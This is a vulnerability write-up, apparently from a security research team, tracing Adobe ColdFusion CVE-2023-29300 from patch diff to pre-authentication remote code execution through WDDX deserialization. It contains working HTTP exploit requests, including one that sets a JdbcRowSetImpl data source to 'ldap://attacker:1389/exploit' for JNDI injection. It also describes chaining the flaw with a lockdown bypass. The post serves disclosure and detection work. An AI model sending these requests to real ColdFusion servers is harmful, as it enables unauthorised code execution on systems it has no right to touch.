Introduction
The Adobe ColdFusion, widely recognized for its robust web development capabilities, recently released a critical security update. The update specifically targeted three security issues, among them, CVE-2023-29300, a highly concerning pre-authentication Remote Code Execution (RCE) vulnerability. This vulnerability poses a significant threat, allowing malicious actors to execute arbitrary code on vulnerable Coldfusion 2018, 2021 and 2023 installations without the need for prior authentication.
In this blog post, we aim to provide a comprehensive analysis of CVE-2023-29300, shedding light on the nature of the vulnerabilities, and their potential impact, and sharing the journey of code review undertaken by our team.
What's in the patch?
In our research environment, an existing Adobe ColdFusion 2021 setup was already in place from our previous work. Upon discovering the availability of a new security update (version 7), we proceeded to install it after ensuring the backup of our current installation directory. The purpose of this installation was to perform a patch diff, enabling us to compare the changes made by the security update and rollback if necessary.
We conducted a git diff and observed notable changes in the coldfusion.wddx.DeserializerWorker.java
file.
This is a WDDX packet deserializer which is of XML type. Within the startElement
method of DeserializerWorker
we notice that a newly added validation is being performed via validateWddxFilter()
for struct
element.
public void startElement(String name, AttributeList atts) throws SAXException {
try {
...
if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) {
validateWddxFilter(atts);
}
...
} catch (WddxDeserializationException e) {
throwSAXException(e);
}
}
private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
String attributeType = atts.getValue("type");
validateBlockedClass(attributeType);
}
private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
throw new InvalidWddxPacketException();
}
}
The struct
element now includes a new check in its type
attribute, ensuring that the className begins with coldfusion
and passes additional secondary checks. The validateBlockedClass
function indicates that a fully qualified class name (FQCN) would be passed as the type attribute.
Parsing of WDDX Packet
After reviewing documentation and articles on WDDX, we have gained a basic understanding of the WDDX packet's structure. Now, let's delve into the parsing of this packet. Each WDDX element corresponds to a specific handler; for instance, the struct element is handled by the StructHandler. Since the changes were made in relation to the struct element, our focus shifted to parsing the WDDX struct element.
<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>
Through reading, debugging, and tracing various breakpoints, we comprehended the parsing process. It was observed that Java reflections are extensively used in certain code blocks, suggesting that user input will undergo reflection invocations.
This is the code flow of interesting part of the parsing process:
onEndElement() -> getClassBySignature() -> setBeanProperties()
Finding the Sink
In the onEndElement()
method, a check is performed on the m_strictType
field, which is set earlier in the code if the type attribute is provided in the struct element of the WDDX packet.
public void onEndElement() throws WddxDeserializationException {
if (this.m_strictType == null) {
setTypeAndValue(this.m_ht);
return;
}
try {
Class beanClass = getClassBySignature(this.m_strictType);
Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
setBeanProperties(bean, this.m_ht);
setTypeAndValue(bean);
} catch (Exception e) {
...
}
}
After passing this check, a call is made to getClassbySignature()
, which uses reflection to obtain the class instance. The class name is derived from user-controlled input m_strictType
, and the first and last characters are removed, possibly because the input is expected in the form of LclassName;
private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
char c = jniTypeSig.charAt(0);
switch (c) {
...
default:
String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
return Class.forName(className);
}
}
Once we have the class name, reflection is used to access the constructor of the class, specifically the one with no arguments, and an instance of the class is instantiated. This instance is then passed to setBeanProperties()
, along with the user-controlled m_ht
field, which contains the WDDX variables.
private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {
Hashtable descriptors;
try {
BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);
PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();
descriptors = new Hashtable();
for (int i = 0; i < descriptorArray.length; i++) {
descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);
}
} catch () {
...
}
for (String propName : props.keySet()) {
Object propValue = props.get(propName);
IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);
if (indexedPropertyDescriptor != null) {
if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {
...
} else {
Method method2 = indexedPropertyDescriptor.getWriteMethod();
if (method2 != null) {
try {
Class[] types2 = method2.getParameterTypes();
Object value2 = ObjectConverter.convert(propValue, types2[0]);
method2.invoke(bean, value2);
} catch () {
...
}
}
}
...
}
}
}
The getPropertyDescriptors()
method of BeanInfo
returns an array of PropertyDescriptor
objects. Each PropertyDescriptor
represents a property of the bean and contains information about the property's name, data type, and getter/setter methods. Eventually we see the usage of IndexedPropertyDescriptor, which has getReadMethod
and getWriteMethod
which corresponds to getter methods and setter methods respectively. We noticed that if the bean has any setter methods, it would be returned and finally being invoked on the bean via Java Reflections with variable's value as the only argument, these variables values comes from WDDX packet which is again, user controlled.
TL;DR: We have identified a vulnerability where a method of a class can be called under certain conditions:
- The class must have a public constructor with no arguments.
- The method must be a setter, indicated by its name starting with "set".
- The setter method must accept only one argument.
Having understood the vulnerable sink, we proceeded to the next step of identifying a pre-authentication source for this sink. During our analysis by searching through the decompiled codebase for WddxDeserializer
, we discovered a call from the FilterUtils
class.
Finding the Source
During our search through the decompiled codebase for WddxDeserializer, we found a reference to WddxDeserializer in the FilterUtils class.
public static Object WDDXDeserialize(String str) throws Throwable {
WddxDeserializer deserializer = new WddxDeserializer();
InputSource source = new InputSource(new StringReader(str));
return deserializer.deserialize(source);
}
Specifically, it is being used within the GetArgumentCollection
method. This method takes the request context as input and extracts the argumentCollection
parameter from either the form or query string. The retrieved input is then checked to determine if it is of JSON type. If it is not, the value is deserialized as a WDDX packet using the WDDXDeserialize()
call.
public static Map GetArgumentCollection(FusionContext context) throws Throwable {
Struct argumentCollection;
HttpServletRequest httpServletRequest = context.request;
String attr = (String) context.pageContext.findAttribute("url.argumentCollection");
if (attr == null) {
attr = (String) context.pageContext.findAttribute("form.argumentCollection");
}
if (attr == null) {
argumentCollection = new Struct();
} else {
String attr2 = attr.trim();
if (attr2.charAt(0) == '{') {
argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);
} else {
argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here
}
}
Doing some reading on codebase and external articles from Rapid7 on previous CVEs, we realized that we require a valid CFC endpoint. In our case, a pre-auth CFC endpoint to trigger call to GetArgumentCollection
and eventually to our vulnerable sink, that is, the WDDXDeserialize()
.
Our sample request to reach WDDX StructHandler
would look like:
To validate our primitive, we set up a JVM debugger and placed a breakpoint at the method invoke call. In order to confirm the vulnerability, we selected a simple class, java.util.Date
, that satisfies the specified requirements. This class has setter methods such as setDate
. We then created a WDDX packet resembling the following in the request:
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>
At this stage, we were able to confirm that a call to java.util.Date.setDate(our_input)
was successfully executed. Our next goal was to find a way to abuse this primitive for remote code execution.
Escalating JNDI Injection To RCE
After a few hours, we stumbled upon the class com.sun.rowset.JdbcRowSetImpl
, which fits our requirements. If a boolean argument is passed to the setAutoCommit()
method of this class, it performs a JNDI lookup on the dataSourceName, which can be set using the setDataSourceName()
method. This discovery led us to the realization that calling setDataSourceName()
followed by setAutoCommit()
would result in a JNDI injection vulnerability. It is to be noted that we're within a for loop while doing method invocations as such we are able to invoke multiple methods on the bean instance.
At this stage, we have escalated to a JNDI injection via WDDX deserialization, which opens up possibilities for remote code execution.
This is how the request would look like:
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
Looking at the class path, we noticed several libraries of which commons-beanutils-1.9.4
stands apart. We generated a ysoserial java deserialization payload for commons-beanutils
and binded it on a rogue LDAP server. Doing so resulted into a remote code execution on the Adobe ColdFusion 2021 (Update 6).
Nuclei template for CVE-2023-29300 is now available in Nuclei-Templates repository - HERE
You can run nuclei to scan for CVE-2023-29300, as shown below:
nuclei -id CVE-2023-29300 -list coldfusion_list.txt
Conclusion
In conclusion, our analysis revealed a significant vulnerability in the WDDX deserialization process within Adobe ColdFusion 2021 (Update 6). By exploiting this vulnerability, we were able to achieve remote code execution. The issue stemmed from a unsafe use of Java Reflection API that allowed the invocation of certain methods.
To exploit this vulnerability, typically, access to a valid CFC endpoint is necessary. However, if the default pre-auth CFC endpoints cannot be accessed directly due to ColdFusion lockdown mode, it is possible to combine this vulnerability with CVE-2023-29298. This combination enables remote code execution against a vulnerable ColdFusion instance, even when it is configured in locked-down mode.
By embracing Nuclei and participating in the open-source community or joining the Nuclei Cloud Beta program, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
- Rahul Maini, Harsh Jaiswal @ ProjectDiscovery Research